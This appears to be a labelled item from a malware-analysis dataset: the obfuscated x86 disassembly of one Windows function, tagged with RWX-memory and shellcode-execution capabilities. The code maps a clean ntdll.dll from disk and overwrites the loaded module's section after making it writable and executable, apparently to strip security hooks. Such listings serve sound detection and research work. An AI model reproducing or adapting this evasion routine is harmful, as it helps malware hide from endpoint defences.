Function at 0x4014d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [0x5f12c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xc131f8cd
jmp 0x401500
mov eax, dword [ebp - 0x28]
mov eax, 0x365afd0f
nop word cs:[eax + eax]
cmp eax, 0x4cfa504
jg 0x401550
cmp eax, 0xbd052b6d
jle 0x4015b0
cmp eax, 0xca080af9
jle 0x40163d
cmp eax, 0xfb3fa4dd
jg 0x4017c4
cmp eax, 0xca080afa
je 0x401825
cmp eax, 0xcc30963a
jne 0x401500
mov eax, 0x1e0af20
jmp 0x401500
cmp eax, 0x365afd0e
jle 0x4015f0
cmp eax, 0x5a01cf2a
jle 0x4016b2
cmp eax, 0x6c5b01e3
jle 0x40180d
cmp eax, 0x6c5b01e4
je 0x401850
cmp eax, 0x71faa20c
jne 0x401500
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0x58], eax
mov eax, 0x200053f8
jmp 0x401500
cmp eax, 0xa37b0ccb
jg 0x401755
cmp eax, 0x815e57e5
je 0x40189c
cmp eax, 0x92ffdf79
je 0x4018a6
cmp eax, 0x97b88504
jne 0x401500
mov eax, dword [ebp - 0x20]
mov eax, 0xfb3fa4de
jmp 0x401500
cmp eax, 0x200053f7
jg 0x40178e
cmp eax, 0x4cfa505
je 0x4018b0
cmp eax, 0x117bf8ac
je 0x4014ea
cmp eax, 0x1f509232
jne 0x401500
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, 0x4a86d7cf
jmp 0x401500
cmp eax, 0xbd052b6e
je 0x40195d
cmp eax, 0xc0eaaec4
je 0x40199c
cmp eax, 0xc131f8cd
jne 0x401500
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x4c], eax
mov eax, 0xab292db8
jmp 0x401500
cmp eax, 0x365afd0f
je 0x4019b0
cmp eax, 0x3e245c83
je 0x4019db
cmp eax, 0x4a86d7cf
jne 0x401500
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add ecx, esi
push dword [ebp - 0x2c]
push 0x40
push dword [eax + 8]
push ecx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
test eax, eax
mov eax, dword [ebp - 0x30]
setne byte [eax]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add eax, esi
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.0043df50
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
add edx, esi
push dword [ebp - 0x2c]
push dword [eax]
push dword [ecx + 8]
push edx
call edi
test eax, eax
mov eax, dword [ebp - 0x30]
setne byte [eax]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, 0x97b88504
jmp 0x401500
cmp eax, 0xa37b0ccc
je 0x4019e8
cmp eax, 0xab292db8
je 0x4019f2
cmp eax, 0xbbef62c0
jne 0x401500
mov eax, dword [ebp - 0x50]
mov ecx, 0x71faa20c
cmp eax, dword [ebp - 0x54]
mov eax, 0x61c253de
cmovl eax, ecx
jmp 0x401500
cmp eax, 0x200053f8
je 0x401a35
cmp eax, 0x2b437bd9
je 0x401a6f
cmp eax, 0x2edf5230
jne 0x401500
mov eax, dword [ebp - 0x24]
movzx eax, word [eax]
inc eax
mov word [ebp - 0x36], ax
mov eax, 0xc0eaaec4
jmp 0x401500
cmp eax, 0xfb3fa4de
je 0x401b51
cmp eax, 0x1e0af20
jne 0x401500
mov edx, dword [0x5f3418]
mov ecx, dword [0x5f3414]
mov edi, 0x365afd0f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x117bf8ac
jmp 0x401a20
cmp eax, 0x61c253de
jne 0x401b5b
mov eax, dword [ebp - 0x24]
mov eax, 0x815e57e5
jmp 0x401500
push dword [ebp - 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x44]
call edi
push dword [ebp - 0x40]
call edi
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x28]
mov eax, 0x5a01cf2b
jmp 0x401500
mov edx, dword [0x5f3418]
mov ecx, dword [0x5f3414]
mov edi, 0xcc30963a
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3e245c83
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x24]
cmovge eax, ebx
movzx ecx, word [ecx]
mov dword [ebp - 0x50], ecx
jmp 0x401500
mov eax, 0xca080afa
jmp 0x401500
mov eax, 0xbd052b6e
jmp 0x401500
mov ecx, dword [ebp - 0x4c]
push 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x48], ecx
push ecx
push dword [ebp - 0x34]
call sub.KERNEL32.dll_K32GetModuleInformation
mov esi, dword [ebp - 0x1c]
sub esp, 0x1c
vmovaps xmm0, xmmword [0x45a200]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
vmovaps xmm0, xmmword [0x45a210]
mov dword [ebp - 0x44], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
vmovaps xmm0, xmmword [0x45a220]
mov dword [ebp - 0x40], eax
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [esi + 0x3c]
mov ecx, dword [ebp - 0x28]
add eax, esi
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov word [eax], 0
mov eax, 0x2b437bd9
jmp 0x401500
mov eax, dword [0x5f3418]
mov edi, 0x6c5b01e4
mov ebx, 0x3e245c83
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x3e245c83
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x5f3414], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401500
mov eax, dword [ebp - 0x24]
movzx ecx, word [ebp - 0x36]
mov word [eax], cx
mov eax, 0xbd052b6e
jmp 0x401500
mov eax, dword [ebp - 0x28]
mov ebx, 0xa37b0ccc
mov edi, 0x117bf8ac
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x54], eax
mov eax, dword [0x5f3418]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x117bf8ac
jmp 0x401b2c
mov eax, dword [ebp - 0x24]
mov eax, 0x6c5b01e4
jmp 0x401500
mov eax, 0xbbef62c0
jmp 0x401500
mov edx, dword [0x5f3418]
mov ecx, dword [0x5f3414]
mov edi, 0x2b437bd9
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4cfa505
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401500
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x24]
movzx ecx, word [ecx]
mov edx, dword [ebp - 0x20]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [edx], eax
mov eax, dword [ebp - 0x20]
push 0x45a288
push dword [eax]
call fcn.004418d0
add esp, 8
test eax, eax
mov eax, 0x97b88504
mov ecx, 0x1f509232
cmove eax, ecx
jmp 0x401500
mov ecx, dword [ebp - 0x4c]
push 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x48], ecx
push ecx
push dword [ebp - 0x34]
call sub.KERNEL32.dll_K32GetModuleInformation
mov esi, dword [ebp - 0x1c]
sub esp, 0x1c
vmovaps xmm0, xmmword [0x45a200]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
vmovaps xmm0, xmmword [0x45a210]
mov dword [ebp - 0x44], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
vmovaps xmm0, xmmword [0x45a220]
mov dword [ebp - 0x40], eax
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x3c], eax
mov ebx, 0x92ffdf79
mov edi, 0x4cfa505
mov eax, dword [ebp - 0x28]
mov eax, dword [esi + 0x3c]
mov ecx, dword [ebp - 0x28]
add eax, esi
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov word [eax], 0
mov eax, dword [0x5f3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4cfa505
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x5f3414], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401500
mov eax, 0x2edf5230
jmp 0x401500
cmp eax, 0x5a01cf2b
jne 0x401500
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043b0d0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret